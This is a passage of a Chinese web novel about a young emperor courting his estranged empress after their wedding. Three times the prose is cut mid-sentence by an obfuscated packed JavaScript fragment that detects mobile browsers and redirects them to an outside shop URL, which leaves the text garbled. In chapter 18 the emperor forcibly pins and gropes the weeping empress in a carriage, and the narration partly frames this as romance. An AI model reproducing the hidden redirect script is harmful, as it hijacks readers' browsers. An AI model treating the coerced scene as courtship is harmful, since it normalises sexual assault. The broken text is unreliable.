这虽然也是一个馊主意,但比刚才的好些。皇帝的脸色缓和了,意味深长的瞧着四福问道:那外面鸡蛋到底卖多少银子?” 四福想了想,嘿嘿的笑,“一两银子足以,采得多还很再便宜些。” 皇帝:“哼,你也糊弄朕,宫外鸡蛋三到五个铜板一个。朕不是以前的儿皇帝了,以后少在朕面前耍心眼。实心给朕办事,银子少不了你。还有朕不想打着皇后的名号行事,朕已经足够叫她伤心了。你再给朕想个法子,要来钱快的。” 四福:“皇上圣明,果然什么都瞒不过您的眼睛。小的以后一定给您实心办事,要想来钱快可想办法在宫里动大工,也一样有油水可捞。但不管怎么样,最要紧您还是得有权才行,有自己的亲信才不然做什么,您也不过是喝汤哪儿捞着什么肉吃。” 皇帝咕哝道:“动大工,平白无故阁老们不会让朕盖房子的。” 两人默契的将养心殿扫视了一圈,对上眼心思一下就明了。 “这件事不急等朕的旨意,眼下你先拿着些银子去宫门各处打点,没有朕的意思不许放苏娘子出宫去。” 皇帝扔了一袋银子到四福怀里,后者颠颠跑出去办事了。皇帝酒气还未散,额头上的青筋跳的厉害,脑仁嗡嗡的痛,大声喊来大福。 “大福,给朕弄桶冷水来了,要凉的那种,不够往里面加冰。” 大福听着心里毛的慌,“万岁爷您这是要干什么?” “朕要洗澡,别问那么多,快去准备。” 大福只好领着小太监去抬水,备好水后皇帝脱掉龙袍钻进浴桶里,足足泡了一个多时辰才起身。然后又在风口上站了半个时辰,没一会儿就感觉鼻子嗓子开始不舒服,窝在御榻后打了一个盹就感觉头重脚轻了。 皇帝瞧着镜子里赤红的脸很满意,天黑前领着大福几个太监去坤宁宫了。但是坤宁宫得到消息,早早的就把宫门关上了。 大福赶过去扒拉门,扯着嗓子喊:“皇后娘娘,是皇上,皇上来看您了。” 宫门关的更严实了,里面宫女的说话声也噤了。 皇帝跑到宫墙下,望了望明黄的琉璃瓦,喊道:“大福,去给朕找个梯子来。” 大福:“万岁爷,您要爬墙进去?皇后娘娘昨夜说了,坤宁宫您和狗不得入内。” 皇帝才不在意,撩起袍角扎到腰带里,“好女怕缠郎,皇后再生气朕哄哄就好了。再说了我们已经成亲了,将来还要一起生儿育女,皇后哪能真的不让朕进坤宁宫。” “万岁爷那您等着,奴婢马上给您找梯子来了。” 不多时,两个小太监就抬着梯子来了架到宫墙下。大福在下扶看着皇帝喘着大出气,一边吭哧吭哧的往上爬,一边手脚打颤。 “万岁爷,您病着小心点,别摔了。” 皇帝刚好爬到上墙,抬脚跨琉璃瓦,一听他的话扑通摔进了院子里。 “万岁爷!” “汪汪汪!” 顿时间,宫墙外一片混乱。坤宁宫里,一只大黄狗突然蹿出扑上来狂吠。 “啊啊!狗,哪儿来的狗!救命,大福救命,有狗!” 皇帝吓得屁滚尿流,惊慌呼救,拼命用胳膊去挡狗。大福在墙外更是吓的魂都掉了,着急的上蹿下跳。 “万岁爷,万岁爷,您怎么样了!你们这些狗奴才还不开门赶紧就驾,那畜生伤了皇上可如何是好!” 这时苏娘子就冷冷的站在大殿内,拿着她的《治河图略》。本想下指令让大黄咬死底下那个男人的,可是动了动唇瓣,却什么声音都没发出来转身回殿内了。 皇帝一阵慌乱后才发现大黄并没有真的咬他,扑下来只是撤着他的衣服咬。余光看见苏娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626331|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身影,皇帝一把推开大黄爬起身去追。大黄见状蹿回殿内守在门口狂叫,“汪汪汪!!” 好几次扑上前,皇帝躲开,怒视着大黄的眼睛吼道:“滚开,找死是不是!” 大黄知道这个人不能真的咬的,几下就被吓住了,嘤嘤的趴到了一旁不敢动了。 皇帝大喜,冲进殿内抓住苏娘子的胳膊,喘息道: “对不起皇后,朕不是故意丢下你不管的。昨夜朕喝醉了身子又不舒服,所以歇在乾清宫了。不信你摸摸,朕真的生病了。” 皇帝拉着苏娘子摸自己额头,如他所愿果然滚烫如火,说话间呼出的热气直扑苏娘子的面颊。但她冷冷的摔开皇帝的手,失望的看了他一眼转身进寝殿关上了门。 “皇后对不起,朕不是故意的,你心里有气就打朕吧,不要不理朕。” 皇帝伸脚抵住门,抓着苏娘子的手,蛮横的挤进殿,险些把苏娘子推到地下去。 “小心别摔了……”皇帝见状,手疾眼快的捞住苏娘子的腰肢。趁机她不备死皮赖脸的抱进了怀里,蹭着她冰凉的脸颊哽咽道: “念念,别生气了,是朕不好,以后朕再也不会丢下你了。朕真的生病了,你知道的朕从小身体就不好,总是生病。昨夜朕太高兴了,多吃些酒就受风了,现在还在还难受。你从小最是心疼朕了,你帮朕刮刮痧退热好吗?” 苏娘子没有挣扎,静静的站着像是一根木头。皇帝抱她,她就靠着他胸膛离近些。皇帝推开她,她就面无表情的看着他。 “念念你……”皇帝看见她的冷漠,满目哀伤,“你别这样,你心里有气打朕、骂朕都好,只是别理朕好吗?” 皇帝抬手抚上苏娘子的脸,用额头抵着她的额头,凑唇亲吻她的唇瓣。 “朕真的生病了,朕没有骗你,念念,你心疼心疼朕好不好?” 他向她乞讨怜爱,但被拒绝了。 苏娘子别开脸,躲开了皇帝的亲吻,狠狠掴了一巴掌在他的脸上。 皇帝半边脸瞬间就被扇麻了,脑子也清醒了。只是掌心却湿润了,抬眼,皇帝看见了苏娘子左眼下的泪痕。 “你……你哭了?” 皇帝有些懵,想过她会生气发怒,却怎么也想不到她会哭。 一个女人为一个男人掉眼泪了,皇帝好像迟钝的察觉到了什么,脸上竟露出了喜色。 “念念,你是愿意嫁给朕的是不是?” 不是被他逼迫,别无选择了才选择嫁给他的。苏师父说过她并不是失了贞洁就活不下去的人,何况当初她明明可以跟着苏明伯离开去西北。可是她却回来了,指着他的圣旨说那是给她的。 皇帝感觉好像有人在自己心里炸烟花一样,又惊又喜。追着苏娘子问,可是她看他的眼睛却平静的像是一汪深不见底的潭水一眼,打落他伸过来的手,神情冷漠又决绝。 “我原以为成亲和谁过都一样,想来我还是错了。” “念念…..皇后,朕…..” 苏娘子拂袖而去,皇帝还想追进寝殿,迎头摔来一只瓷杯碎在脚下。 “从今以后宁为玉碎不为瓦全!” 皇帝不敢动只好退出了殿,当夜坤宁宫就传来消息,皇后的右手骨折动不了了,太医院李廷致过来打了一个厚厚夹板。 从坤宁宫出来后,等候在宫外的三福又把人请到了乾清宫。皇帝半张了肿成了发面馒头,上头明晃晃的印记几根手指印。 “李太医给看看吧,可是要快些消肿,皇上后日就要上朝接见群臣了。” 李太医:“皇上以后少惹皇后生气,她在乡野长大,又跟着苏老先生在河堤上修河,有的可是力气。” 皇帝听了李廷致的话,难过道:“她心里果然没朕,每次都下死手揍朕。” 李廷致:“那皇上心里可是又有皇后?” 皇帝沉默了,他知道自己的心,有时有,有时没有。也许并不爱,但他可以对她好。 次日,皇帝被皇后揍了的消息传遍紫禁城内外,皇后新婚之夜独守坤宁宫的事就没人记得了。 17. 第 17 章 帝后大婚,为了重进坤宁宫,皇帝决定仿照民间习俗带着皇后归宁。早朝后就跑到坤宁宫囔囔,“念念,今日在民间是归宁的日子,朕领你回苏家好不好。岳父、岳母大人该想你了,咱们早些去天黑前就回来。” 坤宁宫里,安心姑姑在侍弄墙角的茉莉花,苏娘子倚在美人榻上,小梅当着人行支架给她翻书瞧,皇帝一踏进宫门就挨了苏娘子一顿斥。 “出去,谁让你进来了的!” 皇帝一脸尴尬,灰溜溜的退出宫门外,探着脑袋可怜巴巴道:“念念,朕不是来气你的,朕是来带你归宁回家的。朕不进你的坤宁宫,你快点出来好不好,不然咱们赶不上岳父、岳母大人家的午膳了。” 小梅被皇帝不着调的话逗得噗嗤一笑,苏娘子故作温怒姿态瞪了她一眼,小丫头赶紧忍笑低声道:“娘子,皇上怎么感觉有点缺心眼的。” 苏娘子抿唇,淡淡道:“这页我看完了,翻下页。” “喔…..”小梅赶紧翻页,望着苏娘子沉浸书香忘我的眉眼,不解道:“娘子以后都不能出宫,看这些书还有用吗?奴婢其实不明白,娘子为什么要答应嫁进宫来,您明知道就算真的跟着大爷走了,皇上也不会拿夫人老爷怎么样的。您现在嫁进宫来了瞧着皇上也是不冷不热的样子,这样的话娘子何苦进宫来呢?” 苏娘子眸子沉了沉,皇帝还在坤宁宫外催促,“念念你好了没有,快点啊,一会儿都晌午了。” “不知道,小梅你把书放着,我自己翻。去库房里大爷送的那三箱书搬出来,皇上问是什么就说是给我爹娘的归宁礼。” “娘子你…..”小梅紧张的望了一眼宫门外明黄的身影,苏娘子催促道:“不许多问,快去吧。” “喔…..那娘子还有奴婢,您别忘了奴婢。” 小梅一步三回头跑去库房里箱子,苏娘子抓过美人榻一角的软枕放在膝盖上垫着骨折的右手,认真的翻起了书。瞧的兴起时想提笔作注,一抬手就忘了腕上。 “嘶…..疼……”苏娘子刚一出声,皇帝就心急的蹿进到跟前来了,“怎么了?碰到手了是不是,你手都伤了还看什么劳什子的书。不许看了,赶紧跟朕出宫归宁去。” 皇帝一把抢过苏娘子的书藏在身后,“去了,回来朕就还你。” 这一会儿的功夫小梅已经领着几个太监把箱子搬出来了,皇帝看见好奇是什么,苏娘子只道是归宁礼。 “其实你早就想回去了是不是?走,咱们现在就出宫。” 皇帝拿上软枕欢欢喜喜的搀扶苏娘子上马,待她坐好贴心的塞进她的怀里,小心翼翼的捧着她的胳膊放在上面。 “以后你揍朕的时候下手轻点,朕脸皮厚肿两天就消肿,你这伤筋动骨的得养一百天呢。念念,其实你还能揍朕还挺高兴,至少不叫你把气憋在心里,真的气坏了身子。朕以后会少气你一些的,让你快快乐乐的做皇后娘娘。” 皇帝一顿唠唠叨叨,堵在车门遮住了光,身影投在苏娘子脸上。或者是有些被他的话感动到,抬起头来水润的眸子里映皇帝的身影。 皇帝才发现苏娘子的眼睛好大好大,似怒非怒的模样像只漂亮的小橘猫。 “念念,你好漂亮,朕想亲你一下好不好?” “不要,滚开!”苏娘子立刻怒意就上脸了,一脚往皇帝裆下踹去。皇帝躲他险些摔下车,吓得车外的小梅赶紧躲开。 “你是朕的皇后,朕就要亲。” 皇帝双手扒拉着车门挺身钻回车里,以迅雷不及掩耳之势亲了一下苏娘子的脸颊。他的唇很烫像是喊着炭火一样,一下烫红了苏娘子的脸。但她很嫌弃皇帝,像是脸蹭上了恶心的口水一样,狠狠的用手搓。 “小梅还愣着干什么,上车!” “喔…..是娘子,奴婢还以为…….” “以为什么?” 苏娘子语气不善,小梅不敢接嘴揣着包袱赶紧爬上马车。刚掀开帘子,皇帝就咋呼起来了。 “她怎么也要去?宫里去江米巷又不远,咱们天黑前就回来了,她去干什么?” “奴…..奴婢…..” 小梅一下僵在车门进退两难,可怜巴巴的看向苏娘子。 苏娘子踢了一脚皇帝无处安放抵到她的大长腿,“她是我的贴身婢女,我走哪自然要带着她。而且我的手伤了多有不便,小梅要服侍我。” “有朕在,朕服侍你,小梅不用去。小梅下车去,在宫里等着你家娘子。” 皇帝挥手赶人,小梅急的快要哭了。 娘子看着架势像要不回来了,她才不要一个人老死在坤宁宫里! 苏娘子立刻就炸毛了,怒涨脸狠狠的踹皇帝,“你怎么服侍我,如厕方便你也要去帮我提裤子是不是!” 皇帝还没想到那么多,若是老夫老妻帮皇后提裤子也不是不可以。可他们什么事都还没发生呢,光着偷亲她一下就足够叫他心悸了。当真去提裤子,可真下不了脸。 “那….那小梅和四福做车外,车里窄,朕腿都要放不下了。” 皇帝不得已让步把小梅支到外面,故意跨着大长腿沾满整个车厢。苏娘子嫌弃的剜了他一眼,靠在在软枕上闭眼假寐。 马车缓缓动起来,车里的气氛顿时又有些尴尬了,皇帝干咳了两声,讪讪的收回脚。想说点话有不知道说什么,他感觉到苏娘子很讨厌他说话了。好在摸到了适才揣上车的《治河图略》,随手翻开一页瞄了两眼睛,兴致勃勃道: “念念,朕给你读书听吧。” 苏娘子没反应,看着像是睡着了。皇帝不管,清清嗓子读了起来。 “水之为利,生民之所不可缺,有国之所不可无关于厉害至重矣。历代之虞衡水部,本朝之都水监,所以总天下之水而重其事也,而黄河之水又天下之大者,今其决溢为害下病生民,上累国家…..” 皇帝正经起来,读书的声音很好听,清朗飘逸,字正腔圆。不再像以前给小苏娘子读书的时候总是读错字,有的时候还会狡猾的跳过。 苏娘子很小的时候读书就把眼睛读坏了,几步远就瞧的人狗不分了。在南书房的日子,经常趁着父亲不注意,抓着小皇帝给读书听。 那时候皇帝十二岁了才开蒙跟个半文盲似的好多字不认识,苏娘子就会抓他的小辫子,训斥他不懂就要问,不要以为蒙混过关就完事大吉了。 大抵是想起了小时候的事,苏娘子自觉露出了笑意。皇帝看着她的脸,开心道:“念念,你想起我们小时候的事了是不是。” 他一问苏娘子脸上的笑意就消失了,皇帝赶紧接着往下读。 出宫的路上朗读声压过了大理石上车轱辘声,车内局促尴尬的气氛不知道什么时候就消失了。马车出了宫门往江米巷去,皇帝还烧着,举着书眼睛就有些花了,重重的的喘了一口气收好了书。 “念念,朕不吵你了,你休息一下一会儿咱们就到家了。” 苏娘子没理皇帝,不知道是睡着了还是怎么。等她再睁开眼的时候,皇帝也靠在软枕闭上了眼,大概是真的烧的很难受,微张着嘴喘息,好像只有这样将身体里的灼气吐出来才能好受些。 皇帝其实没睡着,眼睛眯着一条缝看见苏娘子瞧他了。 好想好想她能过探手过来摸摸他的额头,担心的问他岳凌哥哥,你好些了吗? 可她只是抱着怀里的软枕冷漠的看着,她再也不会是小时候会关心他的小姑娘了。 对不起….. 皇帝难过的闭上眼,去江米巷有段路不好走,马车格外的颠簸,他觉得脑浆都要被晃匀了,坚持了一会儿便彻底失去意识了。 再醒过来时,车上就只剩下皇帝一个人了。 “四福,你怎么叫醒朕,皇后呢?朕睡多久了?” 四福哭丧着脸探进脑袋来,“爷,奴婢本是想叫您的。皇后娘娘说您不舒服,让奴婢不要打搅您。娘娘带着小梅入府去了,还有…..” 四福觉得事关重大,钻进了车厢里同皇帝嘀咕。 “万岁爷,奴婢刚才看见苏家大公子了。您和皇后大婚都三天了,他怎么还不回西北去。还有奴婢看见小梅怀里揣着包袱,娘娘车上拉着那几箱不就是娘娘的嫁妆。那里面装的全是书,娘娘爱书不假,可她怎么把嫁妆往家里搬?” 皇帝脸色顿时就僵住了黑的难看,袖子里攥着拳头,声音冷的吓人。 “你怎么知道箱子里是书,你翻过皇后的嫁妆了?” 四福看见皇帝眼里浮现出从未有过的阴骛,不知道他是同皇后闹脾气了心情不好,还是他原就是这样深不可测的性子,只不过平日同他们嬉笑打骂藏起来了原该有的凶狠,叫人以为他就是这样一个怂包皇帝。朝廷里被大臣呼来喝去,内廷里被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“坐下先用饭,饭菜温在厨房里有些凉了。不知道你们今日要来,午膳只有些寻常小菜,对付着还算可口。” 皇帝坐下拿起筷子边吃边抹眼睛,“师父还气朕吗?” 苏老先生望了眼他还有些浮肿的脸颊,“念念又打你了?她自小在乡野长大又被我们宠坏了,受不了一星半委屈,你没事少惹她。你们既已成亲,她年纪也还小,有些事慢慢来。” “朕知道了,朕以后不会惹她生气了。” “你现在目的达到了,接下来准备要做什么?” 皇帝倏的抬头,露出贪婪的目光。 “朕要夺权亲政,拿回原该属于朕的东西。” “什么东西?” 苏老先生脸色严肃,六十岁了一双眼睛仍旧炯炯有神,盯着人看的时候一股不怒自威的气势。皇帝像是幼时读书的时候一样,对上那双眼睛就有些害怕,低下头摩挲着瓷筷。 “权、钱。朕这些年受够朝廷里那帮颐指气使,道貌岸然的伪君子了。他们不仅玩弄朕,还贪污国家的税收,朕堂堂天子穷的叮当响,他们打车朕的名号一个个富的流油!那都是朕的银子,朕的钱!” 苏老先生一听这话顿时火冒三丈,狠狠的拍了一掌桌子吓的皇帝一激灵,饭也不敢吃了。 “这些话谁教皇上说的,何为君何为民为君之道,老臣这些年白教皇上了!皇上若还想不明白亲政的意义,您就算娶了小女老臣也绝不会帮皇上夺权亲朕!臣一家可为民死,为社稷而亡,绝不会为一个无道昏君尽忠!圣上请回吧,怒不远送!” “师…..师父,您骂朕是无道昏君…..您骂朕是无道昏君?” “圣上所言昏君何异?来人,把饭菜撤了!” 苏老先生拂袖而去,刚才那两个婢女立刻上来把桌上的饭菜端走了。皇帝愣在原地,大受震撼久久缓不过神,盘旋在眼眶里的眼泪触不及防的掉了下来。 ———— 四福回来告诉皇帝苏家今日没有马车出城去,但整整一日皇帝都没在苏家见过苏娘子。询问婢女只说苏娘子在老夫人的院子,他没胆子闯进去,怕文夕夫人跟怕苏老先生一样。到天黑透了,苏家上了灯皇帝再问,婢女还是说苏娘子在老夫人的院子里,但西北有军报来,大爷天黑前就启程北上了。 18. 第 18 章 夜深,苏府已经在下灯了。后门关了,往来的邻居都回家。失了人声喧闹,院子里的蟋蟀都显得聒噪了。皇帝还踌躇在花厅里,长伯要关府门了赶来问。 “皇上还不走吗?府上要落锁了。” 皇帝情绪从惊慌到心灰意冷又逐失去了耐心,负手暴躁的来回打转。 “皇后呢?” “娘子在院里陪老夫人,这会儿还不见出来。” “你们还在瞒着朕什么,皇后到底还在不在府里?她是不是跟着苏大哥逃走了?你们在故意拖延朕是不是?” 皇帝急躁到险些揪住长伯的衣领,可想起他终归是苏府的老人对曾经有照拂之恩又忍住了冲动。 “回皇上的话,娘子真的在老夫人的房里。” 长伯不卑不亢,站在皇帝面前挺直了脊梁。皇帝无能狂怒咆哮起来,“胡说,她早就走了是不是?今日她跟着朕出宫就没想着再回去了,朕还傻傻的懵在鼓里!苏念辞,你好狠的心啊!” 皇帝气的摔袖而去,出了花厅转角,文夕夫人和苏娘子竟手挽着手走在游廊上,“你啊也真是大了,娘竟不知你在想什么了。” 苏娘子沉默也不知道自己到底再想什么,临了的事看见皇帝在花厅里被训的样子,竟又不想一走了之了。自顾想着抬头就看见皇帝黑着脸冲到了上前来,被他一把抓住手腕拖走了。 “皇后,跟朕回宫!岳母大人,小婿告辞了!” “你….混蛋,轻点她还伤着手!”文夕夫人追着一路送到苏府外,看着马车离开了依依不舍的回府。 马车上,苏娘子被皇帝一直掐着的胳膊疼的厉害,慢慢的连动都动不了。忍着疼脸色一直很不好,落到皇帝的眼里招来一顿狠狠的奚落。 “怎么又回来了,不是打算跟着你大哥一走了之了?连嫁妆都搬回来了,苏念辞你好手段啊!朕当初给过你机会了,这个皇后你不想当可以不当。现在又是在闹哪样,朕堂堂天子就是给你这样玩弄的?” 这件事上是苏娘子理亏的,可她也委屈而且忍不了一星半点,火蹭的就起来了。蹬脚一直踹皇帝,跟踢铁板一样下死手。 “我为什么会这样,你心里没点数?大婚之夜你把我一个人扔在坤宁宫里,天下人都知道皇后是悍妇殴打皇帝了,可是皇后为什么打皇帝?这件事我大哥若是知道的话,一定会不顾一切带我离开京城!岳凌你利用我,为了达到你的目的所以你就可以颠倒黑白是不是?你总是这样在天下人面前做出一副你最委屈,谁都欠你的模样,事实上你又是何等的毒辣!” “原来你还在为这事生气,朕向你赔罪了!不然苏念辞你以为这些天朕热脸贴你的冷屁股做什么?你就那么急切侍寝,给朕生儿育女急着巩固你的皇后地位是不是。欲擒故纵,苏念辞玩的好啊!” 皇帝还在气头上被一激火更是搂不住,苏娘子一脚踹过来顺势就夹住了她的腿,倾身往她身上扑。 “既然你那么急朕就成全你,苏念辞朕就是太过于心慈手软怜惜你了,不然朕看你还能往哪里跑!” “混蛋,你要干什么?” 马车里起了争执,争吵声很大。四福觉得不对劲,有些担心停了马车。小梅着急苏娘子,没头没脑的掀开帘往车里闯。 “娘子怎么了?你….你要干什么,放开我家娘子!” “四福把她给朕弄出去,扔下车!” 小梅看着皇帝压着苏娘子,猫着腰钻进车里揪皇帝头发。四福只好伸手一把抱住小梅的腰,轻手轻脚的放下车。 “四福,不许停车,走!” 马车还是剧烈的摇晃着,传来皇帝冰冷的声音和苏娘子的哭声。四福不敢迟疑,只好丢下小梅驾车狂奔。 马车急驰的声音很快就淹没了苏娘子的哭声,皇帝满意的展了眉。夹紧苏娘子的双腿,俯身噙住饱满的唇瓣,呼出炽热的呼吸似要将她灼烧透了一样。 皇帝对情事一直很冷淡,十七岁了连梦遗都很少,对于男女之事向来多的是同底下的太监胡说八道。 可不知道当真钻过了女人的被窝还是如何,他发现自己总不如从前那般冷淡了,会好奇那不同于男子的身体的神秘。吻住苏娘子时,手也不由自主揉碎了她的骄傲,探进衣服里抚上触手可及的温玉。 “…..皇后你看,你身子可比你的嘴巴要诚实…..” 皇帝有些情动了,指尖感受着她的微颤,唇瓣却狠狠挨了一口。血珠破开,腥味蔓延在唇齿间。他还有些得意,放开苏娘子翻着坐正,一把捞了她跨坐在腿上。一只手护着她打着夹板的胳膊,一只是箍着左手在身侧。狠狠欺负了她一番后才发现她除了嘴巴的凶狠,身体竟一点反抗都没有了。 他总以为是她的身体诚实过她的嘴,确实左手也没有一点力气了,照着平日一只她也撂翻他的。可是…. “念念,你的手…..” 苏娘子怒瞪着皇帝,突然埋进他脖子里。 “对不起…..朕不知道朕把你的左手弄伤了…..啊!” 皇帝以为她会委屈,会害怕的大哭,脖子却狠狠挨了一口疼得直发颤。很快血珠就从苏娘子嘴角溢出,划过圆润的下巴低落在皇帝的手背上。 “对不起,朕知道你害怕委屈,你就咬死朕吧。” 皇帝抬手揽住苏娘子的肩头,环抱着她痛苦的闭上双眼。不明白从前都隐藏的很好,如何在她面前屡次就暴露了。她看透了他的真面目,知道他装疯卖傻的假面下藏着怎样的狼子野心。 良久后,苏娘子恢复理智了,撒开嘴从皇帝腿上下来钻出车厢。四福车驾的很快,两边宫墙都飞出了残影,皇帝紧张大喊。 “四福,停车停车!” “吁~” 四福车还没停稳,苏娘子突然就跳车了,狼狈的滚在地上。皇帝跟着往下跳,没等搀扶住苏娘子撑着无力的双手爬起来,跌跌撞撞往午门广场外走去。 “念念,你要去哪里?” “回家!我不过是一介悍妇,配不上皇上尊贵的皇后宝座。我也没想上赶着给你生孩子,你休了我便是!” “朕不,念念朕偏不!”皇帝冲上前来拦住苏娘子的路,这次她还是没哭,恨意却想烈火一样要燃尽了她。皇帝不管不顾,弯腰打横抱起她闷头往掖门走。 “四福,去接小梅回来。” “…..是” 四福调转马车,匆匆掠过皇帝的脸。那张时而阴险时而天真的脸,泪流满面。明明是皇后受的委屈,皇帝反而哭得像泪人。大概时情绪太激动了,又极力压着,脖子上的伤口裂开了顿时血流如注,浸湿了明黄色的衣领。 苏娘子看着呆了,突然抬手捂住皇帝脖子。越是用力的捂血流到越多,染红了她整只手。 ———— 次日,皇帝和皇后都病了,一起住在坤宁宫里。 皇后两只胳膊都不能动了,打着两只夹板躺在床上,生活不能自理。皇帝拖着病体脸皮比以前更厚了,昨晚一踏进坤宁宫屁股就没离开过苏娘子的床。阁臣们收到龙体欠安的消息,连忙递奏疏关心皇帝,还送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636865|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了各样的补品。 除此之外,弹劾皇后不德奏疏已经出现了。这次已经是他们听到第三回皇后殴打皇帝了,国有悍后,君纲不振,将来必定祸乱天下。有激进的大臣已经想着要废后另择贤后,司礼监太监送进坤宁宫好几摞奏疏,皇帝偷偷先把弹劾皇后的奏疏收了起来。 到了用饭的时候,不等宫女率先抢过喂皇后吃饭的差事,“念念,我们和好好吗?朕以后真的真的不会再惹你生气了,苏家你可以随时回去。朕回和禁卫处打好招呼,只是…..你别忘记回来可以吗?朕很荒唐,有做的不对的地方你和朕说,朕改。” 皇帝有些不敢看苏娘子,埋着头撕饭碗里的鸡丝,用鸡汤和米饭拌匀了喂到苏娘子嘴边。 这次她没再像上次一样拿自己的身子赌气,饭喂来张嘴就吃了。只是脸上没有什么表情,淡淡的冷冷的,眼睛望着皇帝脖子上纱布出神。 皇帝察觉到她的目光,摸摸了脖子,“朕没事,脖子不会断掉的。” “我吃饱了。”吃了几口苏娘子就不想吃了,皇帝端着瓷碗坐在床边有些尴尬,局促的坐立难安,瞟见妆台上的《治河图略》像是遇见了救星一样。 “那朕给你读书好不好?” 他不管苏娘子同不同意,抓起书自己就读了起来。不多时苏娘子犯困歪在靠枕上睡着了,皇帝趁着空档跑去用早膳。 桌上每日必备的鹿/鞭猪蹄汤,以前是端到乾清宫,皇帝赖到坤宁宫来也就跟着送过来了。 “怎么又是这个,还没吃完吗?朕不想吃这东西了,腥得慌。” 大福盛出一碗汤放在皇帝面前,道:“万岁爷,还没呢。是阁老大臣们特意送进宫给您补身体的,李太医也说了这东西有用。御膳房里现在还有各样的鹿/鞭、虎/鞭、马/鞭、驴/鞭几百只呢,保证能把您调理得生龙活虎起来。” 皇帝面露痛苦之色,想起昨夜马车的光景耳根子有点烧。这东西为了应付阁老大臣们已经连吃一个多月了,就连大婚那天也喝了两杯鹿血说是能振雄风。 以前皇帝不信这些东西,但现在他真的有点信了。因为吃了真的上火,火憋着没出撒就容易冲动。可不吃,叫人都以为皇帝身子好了,但中宫又生不出孩子来了,这事又该怪在皇后头上。 想了想多吃总归没太大坏处,皇帝无奈道:“行行,以后叫御膳房多换几个花样,总是炖汤朕都吃出尿骚味来了。” 大福应好,伺候在一旁给皇帝布菜。 用完膳已近未时了,日头很烈,又连着四五天的艳阳,天干热的有些像三伏了。皇帝去找钦天监的奏疏,无风无雨,又是连着三日艳阳。 这时寝殿里突然传来一声尖叫,皇帝扔下奏疏赶去。苏娘子醒了,满头的大汗,脸色发白,唇瓣发着颤。 “念念你怎么了,做噩梦了是不是?没事的,不害怕,朕在这里。朕给你倒杯水,坤宁宫是不是有些太热了,要不要朕让他们把冰鉴备上?” 皇帝倒来水,一边打着扇扇风一边喂她喝水。苏娘子大口喝了两杯,喃喃道:“…..我…..我梦见你把花炮弄在我身上了。” “啊?” “没事,你叫小梅进来。” 苏娘子似很不愿意再想起那个梦,想着要小梅皇帝黏着她,秉着寸步不离的原则不肯挪动金臀。 “不用叫小梅了,你想要做什么和朕说,朕帮你。” “我要去净房。” “那……那…..”皇帝灰溜溜的走开,跑到外面把小梅叫了进来。 19. 第 19 章 趁着在坤宁宫养病的机会,皇帝就赖在坤宁宫里不出去了。 除了早朝,吃喝拉撒都在坤宁宫。皇后是万不让他上床的,为了防止夜里偷袭。天一黑,苏娘子早早的就让小梅钻进了被子里。寝殿里有别的姑娘,皇帝总不好意思往里钻。在坤宁宫里的行径绕着偏殿、庭院打转。 苏娘子出来晒太阳就赶着空档凑到她跟前去端茶倒水,也要把躺椅搬过来挨着她的身边放下,自言自语聊些苏娘子不感兴趣的话,因为她并不理会他。 苏娘子被聒噪的烦了,秀眉就会蹙起来,面色冰冷。皇帝看见立即就闭嘴,灰溜溜的转身背对着苏娘子,自顾瞧司礼监搬过来的奏疏。 四福这时在坤宁宫外露出个脑袋来,大福看见小声的提醒皇帝,“万岁爷,四福在宫外。” 皇帝搁下奏疏,回头看了眼苏娘子,“皇后,朕去看看一会儿就回来。” 皇帝和苏娘子还没和好,横眉冷对的,害怕一出宫门就让锁再外面去了。每次都只到宫门外,同四福说话。 “怎么了,遇到难事了?” “也不是。”四福往坤宁宫里瞟了一眼,扒拉着皇帝躲到宫门后,“此事事关重大,奴婢实在没有胆子私自去办。万岁爷能不能给奴婢写个圣旨或是条子之类,最好能再盖个印,奴婢出去办事也好有个章程不是。” “这事朕要你秘密去办,不能走漏风声知道吗?你想求个心安,条子朕可以写给你。” 皇帝摸了摸腰发现没带印章,同苏娘子打了声招呼。 “念念,朕去乾清宫有点事。朕一会儿就回来,你别锁门。” 皇帝领着四福罕见的离开坤宁宫了,苏娘子并不在意他去干什么,目光转而落在皇帝躺椅旁的一堆奏疏上。 “小梅把皇上的奏疏拿来我看看。” 她有些好奇当皇帝到底是怎么样的苦差事,将以前的岳凌逼得成了这副四处发疯的模样。 小梅取过奏疏在苏娘子翻开,是钦天监的晴雨录。 “还有呢?” 小梅又去换了一本,打开来看还是钦天监的晴雨录,翻到了最底下压着两封弹劾皇后不德的奏疏。 “娘子,除了这两本,其他的都是钦天监的晴雨录。” “拿来,我看看。” 小梅小跑到苏娘子身边,当起支架翻奏疏给苏娘子看,翻完先忍无可忍的生起气来。 “娘子,他们也太过分了。都骂您打皇上,怎么问问您为什么打他,他们怎就看不见您现在两只手都骨折了。连事实真相都弄不清楚就吵吵着要废后了,过分!” 苏娘子失笑,“你同这些迂腐书生置什么气,不过小梅你说是不是废后了,我们就能光明正大的回家了?” 